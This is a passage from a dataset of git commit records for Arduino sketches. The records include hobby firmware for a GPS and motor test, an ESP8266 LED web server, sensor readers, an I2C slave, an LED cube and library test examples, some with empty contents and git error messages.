High.\");\n\n Serial.println(\"Turning Clockwise\");\n digitalWrite(POS1, LOW);\n digitalWrite(NEG1, HIGH);\n digitalWrite(POS2, HIGH);\n digitalWrite(NEG2, LOW);\n\n delay(delayValue);\n\n Serial.println(\"Turning OFF\");\n digitalWrite(POS1, HIGH);\n digitalWrite(NEG1, HIGH);\n digitalWrite(POS2, HIGH);\n digitalWrite(NEG2, HIGH);\n\n delay(delayValue);\n\n Serial.println(\"Turning Counter Clockwise\");\n digitalWrite(POS1, HIGH);\n digitalWrite(NEG1, LOW);\n digitalWrite(POS2, LOW);\n digitalWrite(NEG2, HIGH);\n\n delay(delayValue);\n\n Serial.println(\"Turning OFF\");\n digitalWrite(POS1, HIGH);\n digitalWrite(NEG1, HIGH);\n digitalWrite(POS2, HIGH);\n digitalWrite(NEG2, HIGH);\n\n delay(delayValue);\n\n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800\n GPS.begin(9600);\n \n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n \/\/ 1 ms interrupt\n useInterrupt(true);\n\n delay(1000);\n \/\/ Ask for firmware version\n \/\/mySerial.println(PMTK_Q_RELEASE);\n}\n\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores it\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n#ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n \/\/ writing direct to UDR0 \n#endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t timer = millis();\nvoid loop() \n{\n \n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \n }\n \n \/\/ Determine if new statement received, if so, check the checksum, parse\n if (GPS.newNMEAreceived()) {\n \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this sets the newNMEAreceived() flag to false\n return; \/\/ if miss statement, wait for\n }\n\n \/\/ if millis() or timer wraps around, reset it\n if (timer > millis()) timer = millis();\n\n \/\/ Every 2 seconds, print out the current stats\n if (millis() - timer > 2000) { \n timer = millis(); \/\/ reset the timer\n \n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality); \n if (GPS.fix) {\n Serial.print(\"Location: \");\n Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);\n Serial.print(\", \"); \n Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);\n Serial.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n Serial.print(\"Angle: \"); Serial.println(GPS.angle);\n Serial.print(\"Altitude: \"); Serial.println(GPS.altitude);\n Serial.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'scout\/scout.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8d95fc8a19dddc1f0ac86af546225c4af8431039","subject":"switching back to actual values helps a lot \u2026","message":"switching back to actual values helps a lot \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"238d6323c7964e3ab3f3aa633fb6c5765815eaa1","subject":"Create Mtt1.ino","message":"Create Mtt1.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"Mtt1.ino","new_file":"Mtt1.ino","new_contents":"#include <ESP8266WiFi.h>\n \nconst char* ssid = \"YOUR_SSID\";\/\/type your ssid\nconst char* password = \"YOUR_PASSWORD\";\/\/type your password\n \nint ledPin = 2; \/\/ GPIO2 of ESP8266\nWiFiServer server(80);\n \nvoid setup() {\n Serial.begin(115200);\n delay(10);\n \n \n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n \n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n \n \/\/ Print the IP address\n Serial.print(\"Use this URL to connect: \");\n Serial.print(\"http:\/\/\");\n Serial.print(WiFi.localIP());\n Serial.println(\"\/\");\n \n}\n \nvoid loop() {\n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n \n \/\/ Wait until the client sends some data\n Serial.println(\"new client\");\n while(!client.available()){\n delay(1);\n }\n \n \/\/ Read the first line of the request\n String request = client.readStringUntil('\\r');\n Serial.println(request);\n client.flush();\n \n \/\/ Match the request\n \n int value = LOW;\n if (request.indexOf(\"\/LED=ON\") != -1) {\n digitalWrite(ledPin, HIGH);\n value = HIGH;\n } \n if (request.indexOf(\"\/LED=OFF\") != -1){\n digitalWrite(ledPin, LOW);\n value = LOW;\n }\n \n\/\/ Set ledPin according to the request\n\/\/digitalWrite(ledPin, value);\n \n \n \/\/ Return the response\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"\"); \/\/ do not forget this one\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html>\");\n \n client.print(\"Led pin is now: \");\n \n if(value == HIGH) {\n client.print(\"On\"); \n } else {\n client.print(\"Off\");\n }\n client.println(\"<br><br>\");\n client.println(\"Click <a href=\\\"\/LED=ON\\\">here<\/a> turn the LED on pin 2 ON<br>\");\n client.println(\"Click <a href=\\\"\/LED=OFF\\\">here<\/a> turn the LED on pin 2 OFF<br>\");\n client.println(\"<\/html>\");\n \n delay(1);\n Serial.println(\"Client disonnected\");\n Serial.println(\"\");\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mtt1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3fc54bf0fdea9b537d143bcde9b1fddc30999c4f","subject":"Changed protocol to work with the new changes in PE, specifically the pin value between 0 and 1. However, to the outside world we sent a value between 0 and 1023 (in sendPinValues()) and expect a value between 0 and 255 (in executeSetValue()). This might change in the future, though. Also, fixed indentation.","message":"Changed protocol to work with the new changes in PE, specifically the pin value between 0 and 1. However, to the outside world we sent a value between 0 and 1023 (in sendPinValues()) and expect a value between 0 and 255 (in executeSetValue()). This might change in the future, though. Also, fixed indentation.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"45e0057f4ebade9a19ad081b7e7ed350795f447f","subject":"New file","message":"New file\n\nTrimmed all the unnecessary stuff away from xBeeMegaRobot_func\n","repos":"andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0,andreasnj\/P3-Crustcrawler_2.0","old_file":"xBeeDemonstration\/xBeeDemonstration.ino","new_file":"xBeeDemonstration\/xBeeDemonstration.ino","new_contents":"#include <readxBee.h>\n\n#define xBee_Baudrate 115200\n\nvoid setup(){\n Serial1.begin(xBee_Baudrate);\n Serial.begin(xBee_Baudrate);\n xBee.begin(Serial1);\n Serial.println(\"reset\");\n delay(500);\n Serial1.flush(); \n}\n\nint tempPk[24] = {};\nint x=0, y=0, z=0, emg1=0, emg2=0;\nint pass = 0;\nint fail = 0;\nfloat rate;\n\nvoid loop() {\n for(int i = 0; i < 100; i++){\n xBee.readPacket(tempPk);\n \/\/xBee.decodePacket(tempPk); \/\/This compiles, but doesn't seem to work\n x = tempPk[14] + (tempPk[13] << 8);\n y = tempPk[16] + (tempPk[15] << 8);\n z = tempPk[18] + (tempPk[17] << 8);\n emg1 = tempPk[20] + (tempPk[19] << 8);\n emg2 = tempPk[22] + (tempPk[21] << 8);\n Serial.print(\"x = \"); Serial.print(x); \/\/Printing the received data\n Serial.print(\" y = \"); Serial.print(y);\n Serial.print(\" z = \"); Serial.print(z);\n Serial.print(\" emg1 = \"); Serial.print(emg1);\n Serial.print(\" emg2 = \"); Serial.print(emg2);\n\n if(xBee.checkPacket(tempPk)){ \/\/Check and print if the package passed\n Serial.println(\"| INT -- PASS |\"); pass++;\n }\n else{Serial.println(\"| INT -- FAIL |\"); fail++;\n }\n }\n Serial.println(pass); \/\/Print the pass and fail counts and rate\n Serial.println(fail);\n rate = (float)pass\/(pass+fail);\n Serial.println(rate*100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'xBeeDemonstration\/xBeeDemonstration.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"a4545b63222ec8598ee434082b4c0b6b98b7e810","subject":"Arduino software added \/ DHT11 software working","message":"Arduino software added \/ DHT11 software working\n","repos":"gabrield\/beebox,gabrield\/beebox,gabrield\/beebox,gabrield\/beebox,georgerappel\/beebox,georgerappel\/beebox,georgerappel\/beebox,georgerappel\/beebox","old_file":"arduino\/dispatcher\/dispatcher.ino","new_file":"arduino\/dispatcher\/dispatcher.ino","new_contents":"#include <DHT.h>\n#include <Process.h>\n\n\/\/pins\nint LDR_PIN = A5;\nint MOI_PIN = A2;\nint DHT_PIN = A0; \/\/Pino DATA do Sensor ligado na porta Analogica A1\n\n\nDHT dht(DHT_PIN, DHT11);\n\n\/\/storage vals\nint ldr = 0;\nint moi = 0;\nfloat temp = 0;\nfloat humd = 0;\n\n\nvoid setup() {\n \/\/ Initialize Bridge\n Bridge.begin();\n\n \/\/ Initialize Serial\n Serial.begin(9600);\n\n \/\/ Wait until a Serial Monitor is connected.\n while (!Serial);\n dht.begin();\n \n}\n\nvoid loop() {\n ldr = analogRead(LDR_PIN);\n moi = analogRead(MOI_PIN);\n Serial.print(\"Light = \");\n Serial.println(ldr);\n Serial.print(\"Moisture = \");\n Serial.println(moi);\n Serial.print(\"Temperature: \"); \n temp = dht.readTemperature();\n Serial.println(temp);\n Serial.print(\"Humidity: \"); \n humd = dht.readHumidity();\n Serial.println(humd);\n Serial.println();\n \n runSender(\"LIGHT\", String(ldr));\n delay(150);\n \n runSender(\"MOIST\", String(moi));\n delay(150);\n\n runSender(\"TEMP\", String(temp));\n delay(150);\n\n runSender(\"HUM\", String(humd));\n delay(150);\n\n\n delay(1000);\n}\n\nvoid runSender(String type, String val) {\n Process p;\t\t\/\/ Create a process and call it \"p\"\n p.begin(\"\/root\/yun_sender.py\");\t\/\/ Process that launch the \"curl\" command\n p.addParameter(type); \/\/ Add the URL parameter to \"curl\"\n p.addParameter(val); \/\/ Add the URL parameter to \"curl\"\n p.run();\t\t\/\/ Run the process and wait for its termination\n\n \/\/ Print arduino logo over the Serial\n \/\/ A process output can be read with the stream methods\n while (p.available() > 0) {\n char c = p.read();\n Serial.print(c);\n }\n \/\/ Ensure the last bit of data is sent.\n Serial.flush();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/dispatcher\/dispatcher.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"d208792be3c16664db173f08cbe34c99827d9c8a","subject":"Initial Firmware for Arduino","message":"Initial Firmware for Arduino\n","repos":"nerginer\/GrovePi,rpedersen\/GrovePi,NeuroRoboticTech\/Jetduino,stwolny\/GrovePi,penoud\/GrovePi,karan259\/GrovePi,penoud\/GrovePi,NeuroRoboticTech\/Jetduino,karan259\/GrovePi,nerginer\/GrovePi,nerginer\/GrovePi,karan259\/GrovePi,nerginer\/GrovePi,rpedersen\/GrovePi,karan259\/GrovePi,stwolny\/GrovePi,stwolny\/GrovePi,nerginer\/GrovePi,karan259\/GrovePi,karan259\/GrovePi,stwolny\/GrovePi,NeuroRoboticTech\/Jetduino,NeuroRoboticTech\/Jetduino,rpedersen\/GrovePi,karan259\/GrovePi,penoud\/GrovePi,stwolny\/GrovePi,penoud\/GrovePi,rpedersen\/GrovePi,nerginer\/GrovePi,penoud\/GrovePi,NeuroRoboticTech\/Jetduino,stwolny\/GrovePi,penoud\/GrovePi,rpedersen\/GrovePi,karan259\/GrovePi,NeuroRoboticTech\/Jetduino,nerginer\/GrovePi,rpedersen\/GrovePi,rpedersen\/GrovePi,NeuroRoboticTech\/Jetduino,nerginer\/GrovePi,rpedersen\/GrovePi,stwolny\/GrovePi,stwolny\/GrovePi,karan259\/GrovePi,penoud\/GrovePi,penoud\/GrovePi","old_file":"Firmware\/i2c_cmd_start1\/i2c_cmd_start1.ino","new_file":"Firmware\/i2c_cmd_start1\/i2c_cmd_start1.ino","new_contents":"#include <Wire.h>\n\n#define SLAVE_ADDRESS 0x04\nint number = 0;\nint state = 0;\n\nint cmd[5];\nint index=0;\nint flag=0;\nint i;\nbyte val=0,b[3];\nint aRead=0;\n\nvoid setup() {\n pinMode(13, OUTPUT);\n \/\/Serial.begin(9600); \/\/ start serial for output\n\n Wire.begin(SLAVE_ADDRESS);\n\n Wire.onReceive(receiveData);\n Wire.onRequest(sendData);\n\n \/\/Serial.println(\"Ready!\");\n pinMode(4,OUTPUT);\n}\n\nvoid loop()\n{\n \n \/\/digitalWrite(4,1);\n if(index==4 && flag==0)\n {\n \/*for(i=0;i<4;i++)\n {\n Serial.print(\" \");\n Serial.print(cmd[i]);\n }\n Serial.println();\n *\/\n flag=1;\n \/\/Digital Read\n if(cmd[0]==1)\n val=digitalRead(cmd[1]);\n \n \/\/Digital Write\n if(cmd[0]==2)\n digitalWrite(cmd[1],cmd[2]);\n \n \/\/Analog Read\n if(cmd[0]==3)\n {\n aRead=analogRead(cmd[1]);\n b[1]=aRead\/256;\n b[2]=aRead%256;\n }\n \n \/\/Set up Analog Write\n if(cmd[0]==4)\n analogWrite(cmd[1],cmd[2]);\n \n \/\/Set up pinMode\n if(cmd[0]==5)\n pinMode(cmd[1],cmd[2]);\n }\n}\n\n\nvoid receiveData(int byteCount)\n{\n while(Wire.available()) \n {\n if(Wire.available()==4)\n { \n flag=0;\n index=0;\n }\n cmd[index++] = Wire.read();\n \/\/Serial.print(\"data received: \");\n }\n}\n\n\/\/ callback for sending data\nvoid sendData()\n{\n if(cmd[0]==1)\n {\n \/\/Serial.println(\"dr\");\n Wire.write(val);\n }\n if(cmd[0]==3)\n {\n \/\/Serial.println(\"ar\");\n Wire.write(b, 3);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Firmware\/i2c_cmd_start1\/i2c_cmd_start1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b3a274cc7fc6f7ac3f66de8ea28786bf660779e1","subject":"Arduino code","message":"Arduino code\n","repos":"pickpick\/ArduinoLEDCube4x,pickpick\/ArduinoLEDCube4x","old_file":"ArduinoLEDCube4x\/ArduinoLEDCube4x.ino","new_file":"ArduinoLEDCube4x\/ArduinoLEDCube4x.ino","new_contents":" \/\/ The 64 LEDs of the 4x4x4x cube are controlled via\n \/\/ an Arduino Uno and its 20 pins.\n \/\/ 16 columns and 4 layers.\nconst int layer[2] = {A0,A1};\nconst int column[16]={\n 0,1,2,3,4,5,6,7,8,9,10,11,12,13,A4,A5};\nconst int DELAY = 5; \/\/Delay between cube top\/bottom layer alternations, in milliseconds. 5 seems optimal for 2 layers.\nint cube[4][4][4];\n\n\/\/Setup\nvoid setup(){\n \/\/Setup Pin-Outputs\n pinMode(layer[1], OUTPUT); \n pinMode(layer[0], OUTPUT); \n pinMode(column[1], OUTPUT); \n pinMode(column[2], OUTPUT); \n pinMode(column[3], OUTPUT);\n pinMode(column[4], OUTPUT);\n \/\/Gets Random Seed from Analog Pin\n randomSeed(analogRead(5));\n clearCube();\n}\n\nvoid loop(){\n clearCube();\n render(1000);\n patternBlinkIn();\n fillCube();\n render(2000);\n patternBlinkOut();\n render(1000);\n patternSpiralTop(8);\n patternSpiralBottom(8);\n patternSpiralTopThenBottom(10); \n patternFacesRandom(30);\n patternSlashesAlternating(10);\n patternBlinkCube(30);\n patternRotateClockwise(20);\n patternRandomLED(20);\n}\n\nvoid patternBlinkIn(){\n int count, x, y, z;\n count = 8;\n clearCube();\n while(count > 0){\n x = random(2);\n y = random(2);\n z = random(2);\n if(cube[y][x][z]==0){\n cube[y][x][z]=1;\n count--;\n render(500);\n }\n }\n clearCube();\n}\n\nvoid patternBlinkOut(){\n int count, x, y, z;\n count = 8;\n fillCube();\n while(count > 0){\n x = random(2);\n y = random(2);\n z = random(2);\n if(cube[y][x][z]==1){\n cube[y][x][z]=0;\n count--;\n render(500);\n }\n }\n clearCube();\n}\n\nvoid patternSpiralTopThenBottom(int repetitions){\n int i;\n for (i=0;i<repetitions;i++){\n patternSpiralTop(1);\n patternSpiralBottom(1);\n }\n}\n\nvoid patternSpiralTop(int repetitions){\n int i;\n for (i=0;i<repetitions;i++){\n cube[1][0][0] = 1;\n render(100);\n clearCube();\n cube[1][1][0] = 1;\n render(100);\n clearCube();\n cube[1][1][1] = 1;\n render(100);\n clearCube();\n cube[1][0][1] = 1;\n render(100);\n clearCube();\n }\n}\n\nvoid patternSpiralBottom(int repetitions){\n int i;\n for (i=0;i<repetitions;i++){\n cube[0][0][0] = 1;\n render(100);\n clearCube();\n cube[0][1][0] = 1;\n render(100);\n clearCube();\n cube[0][1][1] = 1;\n render(100);\n clearCube();\n cube[0][0][1] = 1;\n render(100);\n clearCube();\n }\n}\n\nvoid patternFacesRandom(int repetitions){\n int i, face;\n for(i = 0; i<repetitions;i++){\n face = random(6);\n switch (face){\n case 0: \/\/Top\n {\n cube[1][0][0] = 1;\n cube[1][1][0] = 1;\n cube[1][0][1] = 1;\n cube[1][1][1] = 1;\n }\n break;\n case 1:\/\/Bottom\n {\n cube[0][0][0] = 1;\n cube[0][1][0] = 1;\n cube[0][0][1] = 1;\n cube[0][1][1] = 1;\n }\n break;\n case 2:\/\/Left\n {\n cube[0][0][0] = 1;\n cube[1][0][0] = 1;\n cube[0][0][1] = 1;\n cube[1][0][1] = 1;\n }\n break;\n case 3:\/\/Right\n {\n cube[0][1][0] = 1;\n cube[1][1][0] = 1;\n cube[0][1][1] = 1;\n cube[1][1][1] = 1;\n }\n break;\n case 4:\/\/Front\n {\n cube[0][0][1] = 1;\n cube[0][1][1] = 1;\n cube[1][0][1] = 1;\n cube[1][1][1] = 1;\n }\n break;\n case 5:\/\/Back\n {\n cube[0][1][0] = 1;\n cube[0][0][0] = 1;\n cube[1][1][0] = 1;\n cube[1][0][0] = 1;\n }\n break;\n }\n render(400);\n clearCube();\n }\n}\n\nvoid patternSlashesAlternating(int repetitions){\n int i;\n for(i=0;i<repetitions;i++){\n cube[0][0][0] = 1; \n cube[1][0][0] = 1;\n cube[0][1][1] = 1;\n cube[1][1][1] = 1;\n render(350);\n clearCube();\n cube[0][1][0] = 1; \n cube[1][1][0] = 1;\n cube[0][0][1] = 1;\n cube[1][0][1] = 1;\n render(350);\n clearCube();\n } \n}\n\nvoid patternBlinkCube(int repetitions){\n int i;\n for(i=0;i<repetitions;i++){\n fillCube();\n render(100);\n clearCube();\n render(100);\n } \n}\n\nvoid patternRandomLED(int repetitions){\n int i, x, y, z;\n for(i=0;i<repetitions;i++){\n x = random(2);\n y = random(2);\n z = random(2);\n cube[y][x][z]=1;\n render(250);\n clearCube();\n }\n}\n\nvoid patternRotateClockwise(int repetitions){\n int i;\n int speedDelay = 125;\n for (i = 0;i<repetitions;i++){\n cube[0][0][0] = 1; \n cube[1][0][0] = 1;\n render(speedDelay);\n clearCube();\n cube[0][1][0] = 1; \n cube[1][1][0] = 1;\n render(speedDelay);\n clearCube();\n cube[0][1][1] = 1; \n cube[1][1][1] = 1;\n render(speedDelay);\n clearCube();\n cube[0][0][1] = 1; \n cube[1][0][1] = 1;\n render(speedDelay);\n clearCube();\n }\n}\n\n\/\/Function to draw cube map for specified number of milliseconds. \n\/\/Alternates betwween layers for multiplexing.\n\/\/Draws the current binary cube matrix to the Arduino for 'pausetime' milliseconds.\nvoid render(int pauseTime){\n long timer = 0;\n while(timer<=pauseTime){\n \/\/**** Draw Top ****\n digitalWrite(layer[1], HIGH);\n for (int i=0;i<4;i++)\n {\n for (int j=0;j<4;j++)\n {\n if(cube[i][j][0] == 1){\n digitalWrite(column[i +4*j], HIGH);\n }\n else{\n digitalWrite(column[i +4*j], LOW);\n };\n }\n }\n delay(DELAY);\n digitalWrite(layer[1], LOW);\n\n \/\/**** Draw Bottom ****\n digitalWrite(layer[0], HIGH);\n for (int i=0;i<4;i++)\n {\n for (int j=0;j<4;j++)\n {\n if(cube[i][j][0] == 1){\n digitalWrite(column[i +4*j], HIGH);\n }\n else{\n digitalWrite(column[i +4*j], LOW);\n };\n }\n }\n delay(DELAY);\n digitalWrite(layer[0], LOW);\n timer += DELAY * 2;\n }\n}\n\n\/\/turn all LEDs off\nvoid clearCube(){\n int i, j, k;\n for(i=0;i<4;i++)\n {\n for(j=0;j<4;j++)\n {\n for(k=0;k<4;k++)\n {\n cube[i][j][k] = 0;\n }\n }\n }\n}\n\n\/\/turn all LEDs on\nvoid fillCube(){\n int i, j, k;\n for(i=0;i<4;i++)\n {\n for(j=0;j<4;j++)\n {\n for(k=0;k<4;k++)\n {\n cube[i][j][k] = 1;\n }\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoLEDCube4x\/ArduinoLEDCube4x.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"edac6fbc893688742e84ddf648ec0553ca4ade43","subject":"Changes so the example will work with particle.io","message":"Changes so the example will work with particle.io\n","repos":"Undergrid\/JsonStreamingParser","old_file":"firmware\/examples\/1_JsonStreamingParser.ino","new_file":"firmware\/examples\/1_JsonStreamingParser.ino","new_contents":"\/*\nBecause sometimes, you just can't parse json via a webhook.\n\nThis library is a modified fork of squix78's json-streaming-parser an Arduino library for parsing potentially huge json \nstreams on devices with scarce memory.\n\nChanges from squix78's version:\n\n1) Layout changed so it could be deployed as a particle library.\n2) Only one startDocument will be raised at the start of a document rather than one for each non-json character.\n3) Keys are now passed to the listener as part of the startObject(), startArray() or value() event they are associated \n with rather than as seperate events.\n\nHow to use\n----------\n\nThis is a streaming parser, which means that you feed a stream of chars into the parser and you take out from that \nstream whatever you are interested in. In order to do that you will create a subclass of JsonListener class and \nimplement methods which will be notified in case of certain events in the feed occure. Available events are:\n\nstartDocument()\nendDocument()\n\nstartObject(String key)\nendObject()\n\nstartArray(String key)\nendArray()\n\nvalue(String key, String value)\n\nIn your implementation of these methods you will have to write problem specific code to find the parts of the \ndocument that you are interested in. Please see the example to understand what that means. In the example the \nExampleListener implements the event methods declared in the JsonListener interface and prints to the serial \nconsole when they are called.\n\n*\/\n\n\n#include \"JsonStreamingParser\/JsonStreamingParser.h\"\n#include \"JsonStreamingParser\/JsonListener.h\"\n\nclass ExampleListener: public JsonListener {\n\n public:\n void whitespace(char c) {\n Serial.println(\"whitespace\");\n }\n \n void value(String key, String value) {\n Serial.print(\"key: \" + key + \", \");\n Serial.println(\"value: \" + value);\n }\n \n void startDocument() {\n Serial.println(\"start document\");\n }\n \n void endDocument() {\n Serial.println(\"end document. \");\n }\n \n void startArray(String key) {\n Serial.print(\"start array: \");\n Serial.println(key);\n }\n \n void endArray() {\n Serial.println(\"end array. \");\n }\n \n void startObject(String key) {\n Serial.print(\"start object:\");\n Serial.println(key);\n }\n \n void endObject() {\n Serial.println(\"end object. \");\n }\n};\n\nJsonStreamingParser parser;\nExampleListener listener;\n\nvoid setup() {\n Serial.begin(9600);\n \/\/ Wait for a character on the serial port. Connect with a terminal emulator and press any key to see the output\n while(!Serial.available()) Particle.process(); \n Serial.println(System.freeMemory());\n parser.setListener(&listener);\n \/\/ put your setup code here, to run once:\n char json[] = \"{\\\"a\\\":3, \\\"b\\\":{\\\"c\\\":\\\"4\\\"}, \\\"e\\\":[{\\\"f\\\":5},{\\\"g\\\":6}]}\";\n for (int i = 0; i < sizeof(json); i++) {\n parser.parse(json[i]); \n }\n Serial.println(System.freeMemory());\n}\n\nvoid loop() {\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/1_JsonStreamingParser.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b83afd7c06863f26dfaeb6a8b7b73e4c0b5d840","subject":"initial commit","message":"initial commit\n","repos":"ulrichstern\/Tlc59711","old_file":"examples\/Tlc59711Test\/Tlc59711Test.ino","new_file":"examples\/Tlc59711Test\/Tlc59711Test.ino","new_contents":"\/\/\n\/\/ Tests for Tlc59711 library\n\/\/\n\/\/ 22 Feb 2016 by Ulrich Stern\n\/\/\n\/\/ notes:\n\/\/ * for \"flicker\" tests, values written at ~30 Hz to make possible flickering\n\/\/ visible\n\/\/\n\n#include <Tlc59711.h>\n\nconst int NUM_TLC = 2;\nconst int NUM_MODES = 6; \/\/ data transfer modes to test\n\nTlc59711 tlc(NUM_TLC);\n\nvoid setup() {\n Serial.begin(9600);\n \n Serial.println(\"testing Tlc59711 library\");\n Serial.println(\"number chips: \" + String(NUM_TLC) + \"\\n\");\n}\n\nvoid loop() {\n timeWrite();\n Serial.println();\n for (int m=0; m<NUM_MODES; m++) {\n setXferMode(m);\n flickerRamp();\n blink();\n flickerConst();\n Serial.println();\n }\n setXferMode(0);\n brightnessRed();\n r0firstB3last();\n Serial.println();\n}\n\nvoid testDone(int delayMillis = 0);\n\nvoid timeWrite() {\n int n = 100;\n testMessage(\"timing \" + String(n) + \" write() calls\");\n for (int m=0; m<NUM_MODES; m++)\n if (setXferMode(m)) {\n unsigned long us = micros();\n for (int i=0; i<n; i++)\n tlc.write();\n unsigned long dus = micros()-us;\n Serial.println(\" per write(): \" + String(dus\/float(n), 1) + \" us, \" +\n \"per bit: \" + String(dus\/float((long)n*NUM_TLC*224), 2) + \" us\");\n }\n else\n \/\/ duration of calls to tlc.write() can be measured correctly using\n \/\/ micros() with disabled interrupts if duration is less than one \n \/\/ millisecond; see http:\/\/arduino.stackexchange.com\/a\/4381\/14765\n Serial.println(\" skipped\");\n testDone(5000);\n}\n\nvoid flickerRamp() {\n testMessage(\"flicker ramp\");\n for (uint16_t i = 0; i < 5000; i+=30){\n tlc.setRGB(i, i, i);\n tlc.write();\n delay(33);\n }\n testDone();\n}\n\nvoid flickerConst() {\n testMessage(\"flicker constant\");\n for (int i=0; i<30*5; i++) {\n tlc.setRGB(32768, 6554, 655);\n tlc.write();\n delay(33);\n }\n testDone();\n}\n\nvoid blink() {\n testMessage(\"blink\");\n for (int i=0; i<50; i++) {\n int m = i%2;\n tlc.setRGB(32768*m, 6554*m, 655*m);\n tlc.write();\n delay(100);\n }\n testDone();\n}\n\nvoid brightnessRed() {\n testMessage(\"brightness red\");\n tlc.setRGB(32768, 32768, 32768);\n for (int i = 0; i < 50; i++) {\n tlc.setBrightness(16*(i%2), 0, 0);\n tlc.write();\n delay(200);\n }\n testDone();\n}\n\nvoid r0firstB3last() {\n testMessage(\"R0 1st chip, B3 last chip\");\n tlc.setChannel(0, 6554);\n for (int i=0; i<50; i++) {\n tlc.setChannel(12*NUM_TLC-1, 6554*(i%2));\n tlc.write();\n delay(200);\n }\n testDone();\n}\n\n\/\/ - - -\n\nvoid testMessage(String msg) {\n Serial.println(\"test: \" + msg);\n}\n\nvoid testDone(int delayMillis) {\n tlc.reset();\n tlc.write();\n delay(delayMillis);\n}\n\nbool setXferMode(int mode) {\n bool timeable = true;\n if (mode == 0) {\n tlc.beginFast();\n Serial.println(\"xfer: SPI, 10 MHz, buffer...\");\n } else if (mode == 1) {\n tlc.beginFast();\n tlc.setTmgrst(false);\n Serial.println(\"xfer: SPI, 10 MHz, buffer, TMGRST=0...\");\n } else if (mode == 2) {\n tlc.beginFast(false);\n Serial.println(\"xfer: SPI, 10 Mhz, 16 bits at a time...\");\n } else if (mode == 3) {\n tlc.beginFast(true, 2000000, 6);\n Serial.println(\"xfer: SPI, 2 MHz, buffer...\");\n } else if (mode == 4) {\n tlc.beginSlow(200, true);\n Serial.println(\"xfer: no hardware support, interrupts...\");\n } else if (mode == 5) {\n tlc.beginSlow();\n Serial.println(\"xfer: no hardware support, no interrupts...\");\n timeable = false;\n }\n return 